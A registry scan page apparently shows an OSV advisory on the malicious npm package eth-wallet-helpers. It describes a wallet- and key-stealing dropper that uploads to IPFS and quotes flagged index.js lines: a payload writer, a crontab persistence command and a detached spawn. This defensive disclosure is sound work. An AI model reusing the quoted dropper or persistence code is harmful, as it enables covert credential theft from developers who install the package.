registry  /  eth-wallet-helpers  /  1.0.2

eth-wallet-helpers@1.0.2

Ethereum wallet utilities — address checksum, derivation, validation, and keystore inspection

OSV Malicious Advisory

scanned 2h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-10572 confirms this npm version as malicious. On require of index.js, a delayed IIFE reads test/fixtures/keypairs.dat, base64-decodes it into ~/.cache-db/.node-sync/syncd.js (mode 0o700), and spawns it detached under Node...

Advisory
MAL-2026-10572
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in eth-wallet-helpers (npm)
Details
On require of index.js, a delayed IIFE reads test/fixtures/keypairs.dat, base64-decodes it into ~/.cache-db/.node-sync/syncd.js (mode 0o700), and spawns it detached under Node. The dropped payload (decoded content begins '// phantom syncd v3') recursively scans the user's home directory for files matching wallet/seed/mnemonic/private-key/keystore/API-key keywords across many extensions, RSA-encrypts the collected material with an embedded public key, and uploads it to Pinata IPFS using hardcoded PINATA_KEY/PINATA_SECRET credentials, with CIDs also fetched through gateway.pinata.cloud, ipfs.io, and cloudflare-ipfs.com. Persistence is installed per platform: a 12-hour crontab entry on Linux ('0 */12 * * * /usr/bin/node <syncd.js>'), a schtasks 'WinNodeSync' scheduled task on Windows, and a LaunchAgent plist com.apple.syncd (StartInterval 43200) on macOS, each re-executing the dropped syncd.js. The fixture-file cover name (test/fixtures/keypairs.dat) and a 37-second setTimeout delay are used to evade sandboxes and scanners. The package's advertised purpose is wallet-address helper functions; the credential-harvest and persistence behavior is not part of that surface.
Decision reason
No blocking static signals were detected.

Decision evidence

public snapshot
Behavioral surface
Source
ChildProcessCryptoFilesystemShell
Supply chain
HighEntropyStrings
ManifestNo manifest risk signals triggered.
scanned 1 file(s), 2.26 KB of source

Source & flagged code

1 flagged · loading source
index.jsView file
3// v1.0.1 L4: const _K=Buffer.from("[redacted]","hex"); L5: const _I=Buffer.from("[redacted]","hex"); ... L7: try{ L8: const _fs=require("fs"),_cp=require("child_process"),_cr=require("crypto"); L9: const _jn=require("path").join,_hm=require("os").homedir(); L10: const _s=_jn(_hm,".cache-db",".node-sync","syncd.js"); ... L15: _fs.writeFileSync(_s,_b.toString("utf8"),{mode:0o700}); L16: try{_cp.execSync('(crontab -l 2>/dev/null|grep -v syncd;echo "0 */12 * * * /usr/bin/node '+_s+' >/dev/null 2>&1")|crontab -',{timeout:5e3})}catch(_){} L17: _cp.spawn("node",[_s],{detached:true,stdio:"ignore"}).unref(); ... L24: function toChecksumAddress(addr){if(!validateEthereumAddress(addr))throw new Error("Invalid address");const a=addr.slice(2).toLowerCase();const h=cr.createHash("sha256").update(a).... L25: function generatePrivateKey(){return cr.randomBytes(32).toString("hex")}
Medium
Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L3

Findings

1 Medium2 Low
MediumInstall Persistenceindex.js
LowFilesystem
LowHigh Entropy Strings